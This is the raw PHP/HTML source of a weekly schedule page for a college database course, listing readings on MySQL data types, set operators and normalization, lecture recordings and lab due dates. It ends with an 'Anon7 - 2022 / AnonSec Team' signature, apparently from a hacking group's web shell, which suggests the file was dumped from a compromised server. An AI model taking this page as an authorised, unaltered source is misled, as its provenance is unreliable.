						<li><a href="http://www.mysqltutorial.org/mysql-bit/">Pramatic Uses of MySQL BIT Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-boolean/">An Introduction to MySQL BOOLEAN Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-char-data-type/">MySQL CHAR Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-varchar/">The Essential Guide to MySQL VARCHAR Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-text/">The Basics Of MySQL TEXT Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-date/">The Ultimate Guide To MySQL DATE and Date Functions</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-time/">Mastering MySQL TIME Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-datetime/">A Complete Guide To MySQL DATETIME Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-timestamp.aspx">MySQL TIMESTAMP</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-json/">A Practical Guide to MySQL JSON Data Type By Example</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-enum/">A Comprehensive Guide to Using MySQL ENUM</a>.</li>
					</ol>
				</li>
				<li>Browse <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/mysql-data-types.php">MySQL Data Types</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 8 -->
<!-- Week 9: Tuesday 3/08 (Spring Break) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
</li><!-- END Week 9 -->
<!-- Week 10: Tuesday 3/15 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/TDzIBAQ8hJuKW9MFNAEaRxggvcMA7Z1mMjzxotoBn3rmun2JHcUVIhqQnkdJRyE.3bs648idcMXH5srN?startTime=1678816859000','text'),array('https://minnstate.zoom.us/rec/share/TDzIBAQ8hJuKW9MFNAEaRxggvcMA7Z1mMjzxotoBn3rmun2JHcUVIhqQnkdJRyE.3bs648idcMXH5srN?startTime=1678823421000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 8 <i>Using Set operators</i>:
					<ol type="a">
						<li>Discuss <a href="http://www.mysqltutorial.org/sql-union-mysql.aspx">MySQL UNION</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-intersect/">MySQL INTERSECT</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-minus/">MySQL MINUS</a>.</li>
					</ol>
				</li>
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 12 <i>MySQL data types</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-data-types.aspx">MySQL Data Types</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-int/">MySQL INT Data Type Explained With Examples</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-decimal/">MySQL DECIMAL Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-bit/">Pramatic Uses of MySQL BIT Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-boolean/">An Introduction to MySQL BOOLEAN Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-char-data-type/">MySQL CHAR Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-varchar/">The Essential Guide to MySQL VARCHAR Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-text/">The Basics Of MySQL TEXT Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-date/">The Ultimate Guide To MySQL DATE and Date Functions</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-time/">Mastering MySQL TIME Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-datetime/">A Complete Guide To MySQL DATETIME Data Type</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-timestamp.aspx">MySQL TIMESTAMP</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-json/">A Practical Guide to MySQL JSON Data Type By Example</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-enum/">A Comprehensive Guide to Using MySQL ENUM</a>.</li>
					</ol>
				</li>
				<li>Discuss <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/mysql-data-types.php">MySQL Data Types</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <i>Chapter 12 Normalization</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 66 (74).</li>
				<li>Browse <a href="https://en.wikipedia.org/wiki/Database_normalization">Database normalization</a> https://en.wikipedia.org.</li>
				<li>Browse <a href="http://www.studytonight.com/dbms/database-normalization.php">Normalization of Database</a> http://www.studytonight.com.</li>
				<li>Browse <a href="http://beginnersbook.com/2015/05/normalization-in-dbms/">Normalization in DBMS: 1NF, 2NF, 3NF and BCNF in Database</a> http://beginnersbook.com.</li>
				<li>Browse <a href="http://holowczak.com/database-normalization/">Database Normalization</a> http://holowczak.com.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 10 -->
<!-- Week 11: Tuesday 3/22 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/RfI8wzHaYrKtWugDFi_-Egye4ac9VcQe0kYBgJXi4SvvuIIP0WV1fHUj7aS21ceI.eqoFtMl9NCTB0Mh8?startTime=1679421701000','text'),array('https://minnstate.zoom.us/rec/share/RfI8wzHaYrKtWugDFi_-Egye4ac9VcQe0kYBgJXi4SvvuIIP0WV1fHUj7aS21ceI.eqoFtMl9NCTB0Mh8?startTime=1679427024000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Chapter 12 Normalization</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 66 (74).</li>
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Database_normalization">Database normalization</a> https://en.wikipedia.org.</li>
				<li>Discuss class tasks.</li>
			</ol>
			<span class="note">Some items moved to next week.</span>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Resources/MotherCelkosHeuristics.php">Mother Celko's Heuristics</a>.</li>
				<li>View <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Examples/Normilization/rettigNormalizationPoster.pdf">Normalization by Marc Rettig</a>.</li>
			</ol>
			<span class="note">Some items moved to next week.</span>
		</li>
	</ul>
</li><!-- END Week 11 -->
<!-- Week 12: Tuesday 3/29 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/rCu9mNARgU4zFUK4_Ea1rpsdrRkFKCKKUBoFShW5rhZJBcXm8vd6WduruE8BiVLa.dhdYm7oNeO3OlxDu?startTime=1680026442000','text'),array('https://minnstate.zoom.us/rec/share/rCu9mNARgU4zFUK4_Ea1rpsdrRkFKCKKUBoFShW5rhZJBcXm8vd6WduruE8BiVLa.dhdYm7oNeO3OlxDu?startTime=1680031897000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="http://www.studytonight.com/dbms/database-normalization.php">Normalization of Database</a> http://www.studytonight.com.</li>
				<li>Discuss <a href="http://beginnersbook.com/2015/05/normalization-in-dbms/">Normalization in DBMS: 1NF, 2NF, 3NF and BCNF in Database</a> http://beginnersbook.com.</li>
				<li>Discuss <a href="http://holowczak.com/database-normalization/">Database Normalization</a> http://holowczak.com.</li>
				<li>Discuss <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Resources/MotherCelkosHeuristics.php">Mother Celko's Heuristics</a>.</li>
				<li>Discuss <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Examples/Normilization/rettigNormalizationPoster.pdf">Normalization by Marc Rettig</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <a href="http://www.thatsoftwaredude.com/content/1030/database-normalization-is-good-and-bad">Database normalization is good and bad</a>.</li>
				<li>Browse <a href="https://www.w3schools.in/dbms/database-normalization/">Database Normalization</a>.</li>
				<li>Browse <a href="https://www.essentialsql.com/get-ready-to-learn-sql-database-normalization-explained-in-simple-english/">Database Normalization Explained in Simple English</a>.</li>
				<li>Browse <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Examples/Normilization/databasedesign-120815192523-phpapp02.pdf">Practical Database Design for Relational Database Management Systems</a>.</li>
				<li>Browse <a href="https://www.guru99.com/database-normalization.html">What is Normalization? 1NF, 2NF, 3NF & BCNF with Examples</a>.</li>
				<li>Browse <a href="https://msdn.microsoft.com/en-us/library/cc505842.aspx">Designing a Normalized Database</a>.</li>
				<li>Browse <a href="https://support.microsoft.com/en-us/help/283878/description-of-the-database-normalization-basics">Description of the database normalization basics</a>.</li>
				<li>Browse <a href="http://www.complexsql.com/database-normalization/">Database Normalization Examples</a>.</li>
				<li>View <a href="https://ws.ridgewater.edu/ClassLists/20235-Hutchinson-ClassList.html">Ridgewater College, Hutchinson Campus 
Spring Semester 2023 Class Schedule</a> and <a href="https://ws.ridgewater.edu/ClassLists/20235-Willmar-ClassList.html">Ridgewater College, Willmar Campus 
Spring Semester 2023 Class Schedule</a> with an eye towards normilization.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 12 -->
<!-- Week 13: Tuesday 4/05 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/LIzwQsA3r2wcL1ITF3mXra_EzykPjiJp1rAKiZ7k3y3BOK6KAMjuhKFBAk2nS00N.BogANukvl-bffoZe?startTime=1680631259000','text'),array('https://minnstate.zoom.us/rec/share/LIzwQsA3r2wcL1ITF3mXra_EzykPjiJp1rAKiZ7k3y3BOK6KAMjuhKFBAk2nS00N.BogANukvl-bffoZe?startTime=1680636617000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://cst.ridgewater.edu/JimMartinson/CST1600/Examples/Normilization/databasedesign-120815192523-phpapp02.pdf">Practical Database Design for Relational Database Management Systems</a>.</li>
				<li>Discuss <a href="https://www.guru99.com/database-normalization.html">What is Normalization? 1NF, 2NF, 3NF & BCNF with Examples</a>.</li>
				<li>Discuss <a href="https://msdn.microsoft.com/en-us/library/cc505842.aspx">Designing a Normalized Database</a>.</li>
				<li>Discuss <a href="https://support.microsoft.com/en-us/help/283878/description-of-the-database-normalization-basics">Description of the database normalization basics</a>.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(7)?></li>
				<li><?=labLink(8)?></li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 13 -->
<!-- Week 14: Tuesday 4/12 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/Bb6mRk1xj7Gi2WZRYFtEjDfG_oQ_cmbTUTLpRU7kJBbAgGQHvYxFIzNhbFry0nVl.7i2AD6GoTUxNHCoh?startTime=1681236083000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="http://www.complexsql.com/database-normalization/">Database Normalization Examples</a>.</li>
				<li>Discuss <a href="https://ws.ridgewater.edu/ClassLists/20235-Hutchinson-ClassList.html">Ridgewater College, Hutchinson Campus 
Spring Semester 2023 Class Schedule</a> and <a href="https://ws.ridgewater.edu/ClassLists/20235-Willmar-ClassList.html">Ridgewater College, Willmar Campus 
Spring Semester 2023 Class Schedule</a> with an eye towards normilization.</li>
				<li>Discuss <a href="https://www.w3schools.com/whatis/">Web Development</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+3)?>:
			<ol type="i">
				<li><?=labLink(9)?></li>
				<li><?=labLink(10)?></li>
				<li>Please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
			</ol>
		</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
	</ul>
</li><!-- END Week 14 -->
<!-- Week 15: Tuesday 4/19 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<b>No lecture or recording this week.</b>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<br><b>There is no lecture this week</b>, but I can open a web meeting to help students with lab work. <b>Give me a call.</b>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
	</ul>
</li><!-- END Week 15 -->
<!-- Week 16: Tuesday 4/26 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<b>No lecture or recording this week.</b>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<br><b>There is no lecture this week</b>, but I can open a web meeting to help students with lab work. <b>Give me a call.</b>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
	</ul>
</li><!-- END Week 16 -->
<!-- Week 17: Tuesday 5/03 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<b>No lecture or recording this week.</b>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<br><b>There is no lecture this week</b>, but I can open a web meeting to help students with lab work. <b>Give me a call.</b>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
	</ul>
</li><!-- END Week 17 -->
<!-- Week 18: Tuesday 5/10 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0,'<span class="attention">Finals week.</span>')?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<span class="attention nowrap">No class meetings this week.</span>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<span class="bold">No class meeting.</span>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
	</ul>
</li><!-- END Week 18 -->
<? /** / ?>
<? /**/ ?>

<? $LOCK_BELOW = $week; ?>

</ol>
</fieldset>
<? /** / ?>
<? /**/ ?>
<?
?>

Anon7 - 2022
AnonSec Team